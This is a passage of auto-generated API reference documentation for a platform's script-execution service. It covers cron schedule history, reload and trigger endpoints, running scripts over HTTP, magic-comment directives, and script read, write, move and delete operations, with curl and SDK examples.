curl -X GET "https://api.example.com/api/v1/exec/schedules/history?scriptPath=default/cron/cleanup.ts&limit=50" \
  -H "Authorization: Bearer &lt;token&gt;"
```




```typescript
const history = await client.exec.schedules.scheduleHistory({
  scriptPath: "default/cron/cleanup.ts",
  since: "2026-01-15T00:00:00Z",
  limit: 50,
  includeRotated: false,
});
```







```json
{
  "total": 2,
  "limit": 50,
  "includeRotated": false,
  "entries": [
    {
      "ts": "2026-01-15T12:00:00.000Z",
      "scriptPath": "default/cron/cleanup.ts",
      "expression": "0 * * * *",
      "runId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
      "status": "ok",
      "durationMs": 142,
      "returnPreview": "{\"deleted\":12}"
    },
    {
      "ts": "2026-01-15T11:00:00.000Z",
      "scriptPath": "default/cron/cleanup.ts",
      "expression": "0 * * * *",
      "runId": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
      "status": "error",
      "durationMs": 87,
      "error": "TypeError: cannot read property 'id' of undefined"
    }
  ]
}
```




```json
{
  "error": "Invalid parameter format",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```




```json
{
  "error": "Service unavailable",
  "code": "ERROR_503",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```







## Reload Schedules

### `POST /api/v1/exec/schedules/reload`

Rescans the scripts directory and reconciles the registered schedules against the current filesystem contents. Pass `dry_run: true` to preview the diff (`added`, `kept`, `removed`) without applying it.

This endpoint takes no query, path, or header parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `dry_run` | boolean | No | `false` | When `true`, compute the diff against the filesystem but do not apply. Returns the same shape with `added`, `kept`, `removed` lists. |




```bash
curl -X POST "https://api.example.com/api/v1/exec/schedules/reload" \
  -H "Authorization: Bearer &lt;token&gt;" \
  -H "Content-Type: application/json" \
  -d '{"dry_run": true}'
```




```typescript
const result = await client.exec.schedules.reloadSchedules({
  dry_run: true,
});
```







```json
{
  "dry_run": true,
  "added": ["default/cron/new-job.ts"],
  "kept": ["default/cron/cleanup.ts"],
  "removed": ["default/cron/deprecated.ts"],
  "failed": [
    {
      "path": "default/cron/broken.ts",
      "reason": "Invalid cron expression: 'every blue moon'"
    }
  ]
}
```




```json
{
  "error": "Invalid parameter format",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```




```json
{
  "error": "Service unavailable",
  "code": "ERROR_503",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```








The `failed` array is populated in both `dry_run` and apply responses, so you can surface registration problems (bad cron expression, `@websocket` combined with `@schedule`, preflight compile errors) before committing a reload.


## Trigger Schedule

### `POST /api/v1/exec/schedules/trigger`

Manually fires a registered schedule once. Useful for replaying a missed fire or testing a cron expression outside its natural cadence.

This endpoint takes no query, path, or header parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `scriptPath` | string | Yes | — | Script path (absolute or relative to scripts-dir) of a script with a valid `@schedule` directive. |
| `force` | boolean | No | `false` | When `true`, bypass the `@token` refusal. Use with care — this fires the script as cron (no token auth). |




```bash
curl -X POST "https://api.example.com/api/v1/exec/schedules/trigger" \
  -H "Authorization: Bearer &lt;token&gt;" \
  -H "Content-Type: application/json" \
  -d '{"scriptPath": "default/cron/cleanup.ts", "force": false}'
```




```typescript
const result = await client.exec.schedules.triggerSchedule({
  scriptPath: "default/cron/cleanup.ts",
  force: false,
});
```







```json
{
  "triggered": true,
  "scriptPath": "default/cron/cleanup.ts",
  "runId": "c3d4e5f6-a7b8-9012-cdef-123456789012",
  "status": "ok",
  "durationMs": 198
}
```




```json
{
  "error": "Invalid parameter format",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Access denied",
  "code": "FORBIDDEN",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |




```json
{
  "error": "Resource not found",
  "code": "NOT_FOUND",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```




```json
{
  "error": "Service unavailable",
  "code": "ERROR_503",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```








Set `force: true` only when you intentionally want to bypass the `@token` check. A triggered fire runs with the same privileges as the cron worker, so the response will succeed even if the script would normally refuse a request without a valid token.

---

# Script Execution

**Page:** api/exec/script-execution

[Download Raw Markdown](./api/exec/script-execution.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



Execute scripts as HTTP endpoints via POST requests. The Script Execution API lets you run server-side scripts by making a POST request to the script's path, supporting Next.js-style routing for dynamic and catch-all routes.

## Execute Script

### `POST /{path}`

Execute a script with POST data. The script receives the POST body and returns the result in the response.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Script path (supports Next.js-style routing) |

### Request Body

This endpoint does not define a request body schema. Any JSON payload sent will be forwarded to the script.

### Response



```json
{
  "success": true,
  "output": "Script executed successfully",
  "data": {
    "result": "processed"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid JSON in request body"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid request data | The request body failed validation | Check request body format and try again |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Script not found at path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SCRIPT_NOT_FOUND` | Script file not found | No script exists at the specified path | Verify the script path and ensure the file exists |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Runtime error in script"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SCRIPT_EXECUTION_ERROR` | Script execution failed | An error occurred while executing the script | Check script logs for detailed error information |



### SDK Usage

```ts
const result = await client.exec.execution.execute({
  path: "scripts/handle-webhook",
});
```

---

# Script Management

**Page:** api/exec/script-management

[Download Raw Markdown](./api/exec/script-management.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Script Management

The Script Management API lets you read, write, delete, list, and organize executable scripts and their associated metadata. Endpoints cover enumerating available exec contexts, reading and writing script source files, bulk and per-file magic-comment operations, and moving files within the script tree.

Use these endpoints to integrate script lifecycle management into your tooling: discover what scripts exist, inspect or modify their contents, manage declarative metadata (magic comments), and reorganize files programmatically.

---

## Exec IDs

### `GET /api/v1/exec/list`

List all exec IDs, including SDK- and custom-sourced scripts. Returns the catalog of executable contexts available in the current environment along with a summary of counts per type.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/exec/list \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.exec.ids.list();
```


```json
{
  "execIds": [
    {
      "id": "exec_5f8a3b2c9d1e4f7a",
      "type": "sdk",
      "source_url": "https://sdk.hoody.com/v1.2.0",
      "files": 42
    },
    {
      "id": "exec_7c9d8e1f2a3b4c5d",
      "type": "custom",
      "files": 12
    }
  ],
  "total": 2,
  "summary": {
    "sdk": 1,
    "custom": 1
  }
}
```



**Response statuses**



Success.

```json
{
  "execIds": [
    {
      "id": "exec_5f8a3b2c9d1e4f7a",
      "type": "sdk",
      "source_url": "https://sdk.hoody.com/v1.2.0",
      "files": 42
    }
  ],
  "total": 1,
  "summary": {
    "sdk": 1,
    "custom": 0
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```



---

## Magic Comments

Magic comments are inline directives placed at the top of a script that control execution behavior, logging, CORS, AI integration, and metadata. The endpoints below let you read, schema-inspect, and update these directives on a per-file or bulk basis.

### `GET /api/v1/exec/magic-comments/read`

Read the parsed magic comments for a single script. Sensitive values such as tokens are redacted in the response.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | query | string | Yes | Path query parameter |



```bash
curl -X GET "https://api.hoody.com/api/v1/exec/magic-comments/read?path=scripts/hello.ts" \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.exec.magic.read({ path: "scripts/hello.ts" });
```


```json
{
  "path": "scripts/hello.ts",
  "comments": {
    "mode": "sync",
    "timeout": 30000,
    "logging": {
      "level": "info"
    }
  }
}
```



**Response statuses**



Success.

```json
{
  "path": "scripts/hello.ts",
  "comments": {
    "mode": "sync",
    "timeout": 30000
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "FORBIDDEN",
  "code": "FORBIDDEN",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "NOT_FOUND",
  "code": "NOT_FOUND",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```



---

### `GET /api/v1/exec/magic-comments/schema`

Retrieve the schema document describing every supported magic comment directive, including field types, defaults per context, enums, ranges, and categorizations.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/exec/magic-comments/schema \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.exec.magic.getSchema();
```


```json
{
  "schema_version": "1.0.0",
  "total_fields": 18,
  "parse_window_lines": 50,
  "unknown_keys_behavior": "warn",
  "defaults_context": {
    "when_omitted": "runtime",
    "runtime": "server-side execution",
    "sdk_import": "client-side import"
  },
  "source_of_truth": {
    "interface": "MagicCommentMap",
    "parser": "scripts/magic-comments/parser.ts",
    "runtime_defaults": "scripts/magic-comments/defaults.ts",
    "sdk_import_defaults": "packages/sdk/src/magic.ts"
  },
  "categories": {
    "execution": ["mode", "timeout"],
    "logging": ["level", "destination"],
    "cors": ["origin", "credentials"],
    "ai": ["model", "temperature"],
    "metadata": ["label", "tags"]
  },
  "fields": [
    {
      "key": "mode",
      "directive": "@hoody-mode",
      "category": "execution",
      "type": "string",
      "enum_values": ["sync", "async", "stream"],
      "description": "Execution mode of the script",
      "defaults": {
        "when_omitted": "sync",
        "runtime": "sync",
        "sdk_import": "sync"
      }
    }
  ]
}
```



**Response statuses**



Success.


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```



---

### `POST /api/v1/exec/magic-comments/bulk-update`

Update magic comments across every script in a directory in a single request. Supports a `dry_run` mode that previews the affected files and proposed changes without modifying them.

This endpoint takes no parameters.

**Request body**

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `directory` | string | No | — | Directory |
| `execId` | string | No | — | Exec Id |
| `comments` | string | No | — | Comments |
| `extension` | string | No | `".ts"` | Extension |
| `recursive` | boolean | No | `true` | Recursive |
| `dry_run` | boolean | No | `false` | Dry_run |



```bash
curl -X POST https://api.hoody.com/api/v1/exec/magic-comments/bulk-update \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "directory": "scripts/handlers",
    "execId": "exec_5f8a3b2c9d1e4f7a",
    "comments": "@hoody-mode async\n@hoody-timeout 60000",
    "extension": ".ts",
    "recursive": true,
    "dry_run": true
  }'
```


```ts
const result = await client.exec.magic.bulkUpdate({
  data: {
    directory: "scripts/handlers",
    execId: "exec_5f8a3b2c9d1e4f7a",
    comments: "@hoody-mode async\n@hoody-timeout 60000",
    extension: ".ts",
    recursive: true,
    dry_run: true
  }
});
```


```json
{
  "dry_run": true,
  "directory": "scripts/handlers",
  "execId": "exec_5f8a3b2c9d1e4f7a",
  "recursive": true,
  "comments": {
    "mode": "async",
    "timeout": 60000
  },
  "would_affect": {
    "total": 3,
    "files": [
      {
        "file": "scripts/handlers/a.ts",
        "current": { "mode": "sync" },
        "proposed": { "mode": "async", "timeout": 60000 },
        "changes": ["mode", "timeout"]
      },
      {
        "file": "scripts/handlers/b.ts",
        "current": null,
        "proposed": { "mode": "async", "timeout": 60000 },
        "changes": ["mode", "timeout"]
      },
      {
        "file": "scripts/handlers/c.ts",
        "error": "permission denied"
      }
    ]
  },
  "message": "Preview only - set dry_run=false to apply changes"
}
```



**Response statuses**



Success. The discriminator is the `message` field: `"Preview only - set dry_run=false to apply changes"` indicates a dry run, while `"Magic comments updated successfully"` indicates an applied change.


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "FORBIDDEN",
  "code": "FORBIDDEN",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "NOT_FOUND",
  "code": "NOT_FOUND",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```



---

### `PUT /api/v1/exec/magic-comments/update`

Update the magic comments block of a single script file. Supports a `dry_run` mode that returns the current and proposed states plus a list of change keys without writing.

This endpoint takes no parameters.

**Request body**

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `path` | string | Yes | — | Path |
| `comments` | string | No | — | Comments |
| `dry_run` | boolean | No | `false` | Dry_run |



```bash
curl -X PUT https://api.hoody.com/api/v1/exec/magic-comments/update \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "path": "scripts/handlers/a.ts",
    "comments": "@hoody-mode async\n@hoody-timeout 60000",
    "dry_run": true
  }'
```


```ts
const result = await client.exec.magic.updateHandler({
  data: {
    path: "scripts/handlers/a.ts",
    comments: "@hoody-mode async\n@hoody-timeout 60000",
    dry_run: true
  }
});
```


```json
{
  "dry_run": true,
  "path": "scripts/handlers/a.ts",
  "current": {
    "mode": "sync"
  },
  "proposed": {
    "mode": "async",
    "timeout": 60000
  },
  "changes": ["mode", "timeout"],
  "message": "Preview only - set dry_run=false to apply changes"
}
```



**Response statuses**



Success. The discriminator is the `message` field: `"Preview only - set dry_run=false to apply changes"` indicates a dry run, while `"Magic comments updated successfully"` indicates an applied change.


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "FORBIDDEN",
  "code": "FORBIDDEN",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "NOT_FOUND",
  "code": "NOT_FOUND",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```



---

## Scripts

The script file operations cover the full lifecycle: discover files, read their contents and metadata, create or update them, move them within the tree, and delete them.

### `GET /api/v1/exec/scripts/list`

List scripts in a directory. Supports filtering by label, tag, mode, enabled state, websocket usage, and includes an option to recurse into subdirectories and parse magic comments for each entry.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `dir` | query | string | No | Dir query parameter |
| `filter` | query | string | No | Filter query parameter |
| `metadata` | query | string | No | Metadata query parameter |
| `label` | query | string | No | Label query parameter |
| `tags` | query | string | No | Tags query parameter |
| `mode` | query | string | No | Mode query parameter |
| `enabled` | query | string | No | Enabled query parameter |
| `websocket` | query | string | No | Websocket query parameter |
| `recursive` | query | string | No | Recursive query parameter |
| `include_comments` | query | string | No | Include_comments query parameter |
| `execId` | query | string | No | Optional execution scope. When provided, relative paths resolve under default/&#123;execId&#125;/ unless subdomain is also set. Query value takes precedence over body. |
| `exec_id` | query | string | No | Alias for execId (snake_case). |
| `subdomain` | query | string | No | Optional subdomain namespace used with execId for path resolution. |



```bash
curl -X GET "https://api.hoody.com/api/v1/exec/scripts/list?dir=scripts/handlers&recursive=true&include_comments=true" \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.exec.scripts.list({
  dir: "scripts/handlers",
  recursive: "true",
  include_comments: "true"
});
```


```json
{
  "directory": "scripts/handlers",
  "count": 3,
  "recursive": true,
  "filters": {
    "label": "",
    "tags": "",
    "mode": "",
    "enabled": "",
    "websocket": ""
  },
  "scripts": [
    {
      "name": "a.ts",
      "path": "scripts/handlers/a.ts",
      "isDirectory": false
    },
    {
      "name": "b.ts",
      "path": "scripts/handlers/b.ts",
      "isDirectory": false
    },
    {
      "name": "sub",
      "path": "scripts/handlers/sub",
      "isDirectory": true
    }
  ]
}
```



**Response statuses**



Success. The response shape depends on the request: filtered/recursive listing returns the rich shape with `filters` and `isDirectory` flags; a minimal listing returns only `directory`, `count`, and `scripts`.


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "FORBIDDEN",
  "code": "FORBIDDEN",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "NOT_FOUND",
  "code": "NOT_FOUND",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```



---

### `GET /api/v1/exec/scripts/read`

Read the full content of a script along with its parsed magic comments, resolved absolute path, and filesystem metadata.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | query | string | Yes | Path query parameter |
| `execId` | query | string | No | Optional execution scope. When provided, relative paths resolve under default/&#123;execId&#125;/ unless subdomain is also set. Query value takes precedence over body. |
| `exec_id` | query | string | No | Alias for execId (snake_case). |
| `subdomain` | query | string | No | Optional subdomain namespace used with execId for path resolution. |



```bash
curl -X GET "https://api.hoody.com/api/v1/exec/scripts/read?path=scripts/handlers/a.ts" \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.exec.scripts.read({ path: "scripts/handlers/a.ts" });
```


```json
{
  "path": "scripts/handlers/a.ts",
  "resolvedPath": "/var/hoody/exec/exec_5f8a3b2c9d1e4f7a/scripts/handlers/a.ts",
  "content": "export default async function handler(req) {\n  return { ok: true };\n}\n",
  "magicComments": {
    "mode": "async",
    "timeout": 30000
  },
  "metadata": {
    "size": 1280,
    "created": "2024-01-10T08:15:30.000Z",
    "modified": "2024-01-15T10:30:00.000Z",
    "isDirectory": false,
    "extension": ".ts"
  }
}
```



**Response statuses**



Success.


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "FORBIDDEN",
  "code": "FORBIDDEN",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "NOT_FOUND",
  "code": "NOT_FOUND",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```



---

### `POST /api/v1/exec/scripts/write`

Create a new script or overwrite an existing one. By default, missing parent directories are created automatically and the script is validated before being persisted. The response includes a `schedule` object describing any scheduling action that should follow (for example, enabling a new script in the exec environment).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `execId` | query | string | No | Optional execution scope. When provided, relative paths resolve under default/&#123;execId&#125;/ unless subdomain is also set. Query value takes precedence over body. |
| `exec_id` | query | string | No | Alias for execId (snake_case). |
| `subdomain` | query | string | No | Optional subdomain namespace used with execId for path resolution. |

**Request body**

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `path` | string | Yes | — | Path |
| `content` | string | Yes | — | Content |
| `createDirs` | boolean | No | `true` | Create Dirs |
| `validate` | boolean | No | `true` | Validate |
| `execId` | string | No | — | Optional execution scope in request body. Query execId/exec_id takes precedence when both are provided. |
| `exec_id` | string | No | — | Alias for execId (snake_case). |
| `subdomain` | string | No | — | Optional subdomain namespace used with execId for path resolution. |



```bash
curl -X POST "https://api.hoody.com/api/v1/exec/scripts/write" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "path": "scripts/handlers/a.ts",
    "content": "export default async function handler(req) {\n  return { ok: true };\n}\n",
    "createDirs": true,
    "validate": true
  }'
```


```ts
const result = await client.exec.scripts.write({
  data: {
    path: "scripts/handlers/a.ts",
    content: "export default async function handler(req) {\n  return { ok: true };\n}\n",
    createDirs: true,
    validate: true
  }
});
```


```json
{
  "path": "scripts/handlers/a.ts",
  "resolvedPath": "/var/hoody/exec/exec_5f8a3b2c9d1e4f7a/scripts/handlers/a.ts",
  "created": true,
  "updated": false,
  "size": 1280,
  "modified": "2024-01-15T10:30:00.000Z",
  "validated": true,
  "env": {
    "API_KEY": "<redacted>"
  },
  "schedule": {
    "action": "enable",
    "reason": "New script detected"
  }
}
```



**Response statuses**



Success.


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "FORBIDDEN",
  "code": "FORBIDDEN",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```



---

### `DELETE /api/v1/exec/scripts/delete`

Delete a script from the file system. The `confirm` flag can be supplied to assert intent for safety; without it, the server may reject the request depending on policy.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | query | string | Yes | Path query parameter |
| `confirm` | query | string | No | Confirm query parameter |
| `execId` | query | string | No | Optional execution scope. When provided, relative paths resolve under default/&#123;execId&#125;/ unless subdomain is also set. Query value takes precedence over body. |
| `exec_id` | query | string | No | Alias for execId (snake_case). |
| `subdomain` | query | string | No | Optional subdomain namespace used with execId for path resolution. |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/exec/scripts/delete?path=scripts/handlers/a.ts&confirm=true" \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.exec.scripts.delete({
  path: "scripts/handlers/a.ts",
  confirm: "true"
});
```


```json
{
  "deleted": true,
  "path": "scripts/handlers/a.ts",
  "resolvedPath": "/var/hoody/exec/exec_5f8a3b2c9d1e4f7a/scripts/handlers/a.ts",
  "size": 1280
}
```



**Response statuses**



Success.


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "FORBIDDEN",
  "code": "FORBIDDEN",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "NOT_FOUND",
  "code": "NOT_FOUND",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```



---

### `POST /api/v1/exec/scripts/move`

Rename or relocate a script within the file tree. Returns both the requested and resolved source/destination paths along with the file size.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `execId` | query | string | No | Optional execution scope. When provided, relative paths resolve under default/&#123;execId&#125;/ unless subdomain is also set. Query value takes precedence over body. |
| `exec_id` | query | string | No | Alias for execId (snake_case). |
| `subdomain` | query | string | No | Optional subdomain namespace used with execId for path resolution. |

**Request body**

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `from` | string | Yes | — | From |
| `to` | string | Yes | — | To |
| `overwrite` | boolean | No | `false` | Overwrite |
| `execId` | string | No | — | Optional execution scope in request body. Query execId/exec_id takes precedence when both are provided. |
| `exec_id` | string | No | — | Alias for execId (snake_case). |
| `subdomain` | string | No | — | Optional subdomain namespace used with execId for path resolution. |



```bash
curl -X POST "https://api.hoody.com/api/v1/exec/scripts/move" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "from": "scripts/handlers/a.ts",
    "to": "scripts/handlers/renamed/a.ts",
    "overwrite": false
  }'
```


```ts
const result = await client.exec.scripts.move({
  data: {
    from: "scripts/handlers/a.ts",
    to: "scripts/handlers/renamed/a.ts",
    overwrite: false
  }
});
```


```json
{
  "moved": true,
  "from": "scripts/handlers/a.ts",
  "to": "scripts/handlers/renamed/a.ts",
  "resolvedFrom": "/var/hoody/exec/exec_5f8a3b2c9d1e4f7a/scripts/handlers/a.ts",
  "resolvedTo": "/var/hoody/exec/exec_5f8a3b2c9d1e4f7a/scripts/handlers/renamed/a.ts",
  "size": 1280
}
```



**Response statuses**



Success.


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "FORBIDDEN",
  "code": "FORBIDDEN",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

